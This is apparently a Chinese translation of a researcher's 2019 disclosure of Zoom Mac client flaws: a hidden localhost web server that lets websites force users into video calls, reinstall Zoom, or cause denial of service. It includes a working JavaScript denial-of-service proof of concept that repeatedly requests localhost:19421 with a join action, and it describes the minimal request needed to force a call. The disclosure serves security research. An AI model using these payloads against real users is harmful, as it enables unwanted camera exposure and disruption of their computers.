Mac Zoom 客户端中存在漏洞, 允许任何恶意网站在未经许可的情况下启用摄像头. 这一漏洞可能会暴露出世界上多达 75 万家使用 ZOOM 进行日常业务的公司.
CVE 编号
DOS 漏洞: 在客户端版本 4.4.2-CVE-2019-13449 中修复
信息泄露(网络摄像头): 未补 - CVE-2019-13450
更新 - 7 月 9 日(下午)ZOOM 表示他们将在今晚发布修复程序, 移除隐藏的 web 服务器; 希望这能修补这个漏洞. ZOOM 首席执行官还保证, 他们将更新其应用程序进一步保护用户隐私.
前言
此漏洞允许任何网站在未经用户许可的情况下, 在摄像机在线的情况下强制加入 zoom call. 除此之外, 此漏洞还允许任何网页通过反复将用户加入无效呼叫来拒绝服务.
此外, 如果您安装了 zoom 客户端, 然后将其卸载, 您的计算机上仍然有一个本地主机 Web 服务器, 它将重新安装 zoom 客户端, 除了访问网页外, 不需要任何用户进行交互. 这个重新安装的 "功能" 至今仍然有效.
此漏洞利用了很简单的 zoom 功能, 可以向任何人发送会议链接(例如 https://zoom.us/j/492468757) https://zoom.us/j/492468757) 当他们在浏览器中打开该链接时, 他们的 zoom 客户端会在本地计算机上打开. 但是这一惊人的功能是如何实现的, 以及它是如何安全地实现的. 后来发现, 它确实没有得到安全的实施. 不需要额外的用户交互来保证安全.
该漏洞最初是在 2019 年 3 月 26 日披露的. 这个最初的报告包括对 "快速修复"zoom 的建议, 可以通过简单地更改服务器逻辑来实现. ZOOM 用了 10 天来确认漏洞. 在 2019 年 6 月 11 日第一次关于如何修补漏洞的实际会议, 仅在 90 天公开披露截止日期前 18 天. 在这次会议中, 确认了漏洞的细节, 并讨论了 ZOOM 的计划解决方案. 然而, 很容易在修补计划中发现新的漏洞利用方法. 此时, zoom 只剩下 18 天的时间来解决漏洞. 在等待了 90 天之后的 6 月 24 日, 也就是公开披露截止日期前的最后一天, ZOOM 只实现了最初建议的 "快速修复" 解决方案.
最终, ZOOM 未能快速确认所报告的漏洞, 未能及时修复. 未能保护如此庞大用户群免受攻击.
细节
在 Mac 上, 如果您安装了 ZOOM, 那么本地计算机上就有一个运行在端口 19421 上的 Web 服务器. 您可以通过在终端中运行'lsof-i:19421′来确认此服务器是否存在. 首先, 在本地机器上安装一个运行 Web 服务器的应用程序和一个完全没有文档的 API 是很危险的. 其次, 访问的任何网站都可以与运行在本地的 Web 服务器进行交互也是很危险的. 当我得知这个 Web 服务器存在时, 最初的想法是, 如果在这个 Web 服务器的参数处理中有一个缓冲区溢出, 那么就可以在我的机器上实现 RCE. 我还发现, 这个页面不是发出常规的 Ajax 请求, 而是从本地运行的 Web 服务器加载图像. 图像的不同维度指示服务器的错误 / 状态代码. 您可以在这里看到案例切换逻辑.
可怕的是, Web 服务器可以做的远不止启动一个 zoom 会议. 如果用户卸载了 zoom 应用程序, 这个 Web 服务器也可以重新安装. 我的问题是, 为什么这个 Web 服务器返回的数据是以图像文件维度编码的? 其原因应该是为了绕过跨源代码资源共享(cors). 但是浏览器显式地忽略本地主机上运行的服务器的任何 CORS 策略.
Chrome does not support localhost for CORS requests (an open bug since 2010)
文章链接: https://stackoverflow.com/questions/10883211/deadly-cors-when-http-localhost-is-the-origin
视频通话漏洞
用另一个帐户创建了一个个人会议, 接获数据包并对数据包进行解析后删除参数, 查看启动 zoom 会议所需的最小 GET 请求. 有很多随机参数被发送到本地主机 Web 服务器, 但唯一重要的是下面的参数.
- action=join
- confno=[whatever the conference number is]
获取请求可使我的计算机加入另一个帐户创建的 zoom 会议.
以上操作成功后, 我在想是否可以通过传递参数执行其他共呢个. 但在搜索了各种公共文档和公共 Protobuff 后, 找不到任何关于隐藏功能可能存在的介绍说明. 这个 Web 服务器的 API 完全没有文档记录, 在官方和非官方文档中搜索不到关于这个桌面 Web 服务器的任何信息.
所以现在我有了一个最简单的 POC, 可以用它恶意地让任何用户拨打电话, 因为 "新会议" 的默认设置是允许用户选择是否加入他们的音频 / 视频. 我认为这只是一个安全漏洞. 直到今天仍然可以使用此漏洞在未经允许的情况下启动呼叫. 我查阅了六个月前 zoom 修补的 RCE 漏洞, 该漏洞结合现在的这个漏洞可以再任何安装 zoom 客户端的 Mac 电脑上远程执行代码. 如果一个相似特征的漏洞出现就会导致攻击者利用任意网站再 Mac 上执行代码. 任何使用 zoom 版本在 4.1.33259.0925 或者更低的版本都会收到攻击.
到目前为止, 我只能在没有用户许可的情况下让他们加入视频会议. 但是如何利用该漏洞激活摄像头.
打开参与者模式进行会议时, 我发现加入会议的任何人都会自动连接视频. 在我自己的机器上尝试了同样的功能, 发现它的工作原理完全相同. 这促使我在下面创建概念证明.
概念证明
本地客户机 zoom Web 服务器作为后台进程运行, 因此, 为了利用这一点, 用户甚至不需要 "运行"(在传统意义上)zoom 应用程序就会受到攻击.
一个网站需要做的就是将上述内容嵌入到他们的网站中, 任何 zoom 用户都会立即与他们运行的视频连接起来. 可以是嵌入恶意广告, 也可用作网络钓鱼活动的一部分.
可以在下面链接的 POC 进行漏洞测试. 警告: 在 Mac 上单击此链接将使您进入 zoom call! https://jlleitschuh.org/zoom_vulnerability_poc/ 可以在下面的连接找到一个完全工作的 POC, 它将在您的摄像机处于活动状态时启动您的通话. 警告: 在 Mac 上单击此链接将使您在相机激活的情况下进入 zoom call!
快速修复
为了修复该漏洞的 "自动加入视频" 部分, 建议在其后端服务器上进行校验, 服务器端会立即禁用会议创建者默认情况下自动启用参与者视频功能. 同时如果有其他隐藏的功能也应该被禁用.
对此建议, 我收到以下回复: ZOOM 官方相信能够让我们的客户选择他们想要的 zoom 方式. 这包括他们是否希望在自动启用麦克风和视频的情况下加入会议, 或者在加入会议后手动启用这些输入设备. 在 zoom 会议客户端音频和视频设置中可以使用这些配置选项. 但是, 我们也认识到一些客户希望在加入会议之前进行确认对话. 根据您的建议和来自其他客户的功能请求, Zoomteam[sic]正在评估此类功能, 以及在对用户输入设备修改时的权限控制. 我们一定会通知你我们的改进计划.
需要注意的是, zoom 默认配置是允许主机选择在默认情况下相机是否启用. ZOOM 最终修复了这个漏洞, 但只是阻止攻击者打开用户的摄像机. 他们没有禁用攻击者强行使访问恶意网站的人进入 zoom 视频会议的功能.
更新: 2019 年 7 月 7 日: zoom 在新的更新修复中允许摄像机在激活的状态中利用此漏洞.
拒绝服务 (DOS) 漏洞
同样的漏洞也允许攻击者对任何用户的计算机执行 DoS 操作. 只要发送一个错误数字的重复 GET 请求, ZOOM 应用程序就会不断地从操作系统请求 "对焦",POC 如下:
- <body>
- <script>
- // It's actually better if this number isn't a valid zoom number.
- var attackNumber = "694138052"
- setInterval(function(){
- var image = document.createElement("img");
- // Use a date to bust the browser's cache
- var date = new Date();
- image.src = "http://localhost:19421/launch?action=join&confno=" + attackNumber + "&" + date.getTime();
- image.onload = function() {
- // Be tidy, clean up the DOM afterwards
- image.parentNode.removeChild(image);
- };
- document.body.appendChild(image);
- }, 1);
- </script>
- </body>
在 4.4.2 版的 zoom 客户端中修补了此 DOS 漏洞.
安装漏洞
如果在计算机上安装了 zoom, 则会安装 Web 服务器. 如果从计算机上卸载 zoom, 它会继续运行. 除了启动视频功能外, 此服务器还支持更新和安装新版本的 zoom.
此 Web 服务器内的一个 API 在所有安装了 zoom 的 Mac 上运行, 该 API 允许此服务器更新或重新安装当前安装的 zoom 版本. 您可以通过执行以下操作来确认此逻辑确实存在:
如果尚未安装 zoom 客户端, 请在计算机上安装它.
打开缩放客户端, 然后关闭它.
将 applications/zoom.us.App 文件删除, 从计算机中卸载 zoom 客户端.
打开任何 zoom 链接, zoom 将重新安装到客户端应用程序文件夹中, 并该 Web 服务器启动.
对源代码中列出的所有域进行 whois 查找. 例如, 域名 zoomgov.com 于 2019 年 5 月 1 日到期. 如果此域注册失效, 接管此域将允许攻击者从该站点托管受感染的 ZOOM 安装程序版本, 以及已经卸载 ZOOM 的受感染的用户. 这将使该漏洞成为远程代码执行 (RCE) 漏洞. 我在 2019 年 4 月 26 日与 Mozilla 安全团队通话时向 ZOOM 团队说明了这一点. 在通话结束后的 5 小时后, 该域名已注册到 2024 年 5 月 1 日.
基本安全漏洞
在我看来, 网站不应该和桌面应用程序交互. 浏览器应该强制其在沙箱执行, 以防止其在用户计算机上执行恶意代码.
CORS-RFC1918
在与 Chromium 和 Mozilla Firefox 安全团队讨论此漏洞时, 他们都表示他们无法对此漏洞采取任何措施. Chromium 团队向我指出 CORS-RFC1918 要求浏览器供应商在允许站点对本地资源 (如 localhost 和 192.168.1.* 地址空间) 发出请求之前查询用户的权限.
Google 的 Project Zero 的 Tavis Ormandy 在 TrendMicro 的密码管理器中发现了类似的漏洞, 允许通过浏览器远程执行代码并从密码保险库中泄露用户的密码.
当向 Mozilla Firefox 团队报告此相同漏洞时, 他们并没有重视, 因为它不是针对 Firefox 的漏洞. 但是, 官方很快意识到该漏洞的危害. 在 2019 年 4 月 26 日我被邀请与 Zoom 和 Mozilla Firefox 团队联系讨论该漏洞. 在这次电话会议中, 他们向 Mozilla 和我承诺, 这个漏洞将在 90 天内得到修补.
总结
截至 2015 年, Zoom 拥有超过 4000 万用户. Mac 占 PC 市场的 10%, 而且自 2015 年以来 Zoom 显著增长, 可以假设至少有 400 万的 Zoom 用户使用 Mac. Zoom,Google Meet 或 Skype for Business 等工具.
具有此众多用户的应用程序中的任何漏洞都必须被视为对用户的严重威胁. 本报告中描述的所有漏洞都可以通过 "drive-by attack" 方法进行利用. 在我与 Zoom 安全团队的对话中, 他们似乎多次争辩说这个漏洞的严重性是有限的, 因为它需要 "用户交互" 才能利用这些漏洞.
我相信, 为了完全保护用户需要删除这个 localhost Web 服务器解. 使用浏览器注册自定义 URI 处理程序 (例如, zoom:// URI 处理程序) 等替代方法. 触发 URI 处理程序后, 浏览器会明确提示用户确认打开应用程序. 根据 Zoom 团队的说法, localhost 服务器存在的原因是 Apple 的 Safari 不支持 URI 处理程序.
来源: http://www.tuicool.com/articles/fyeeimn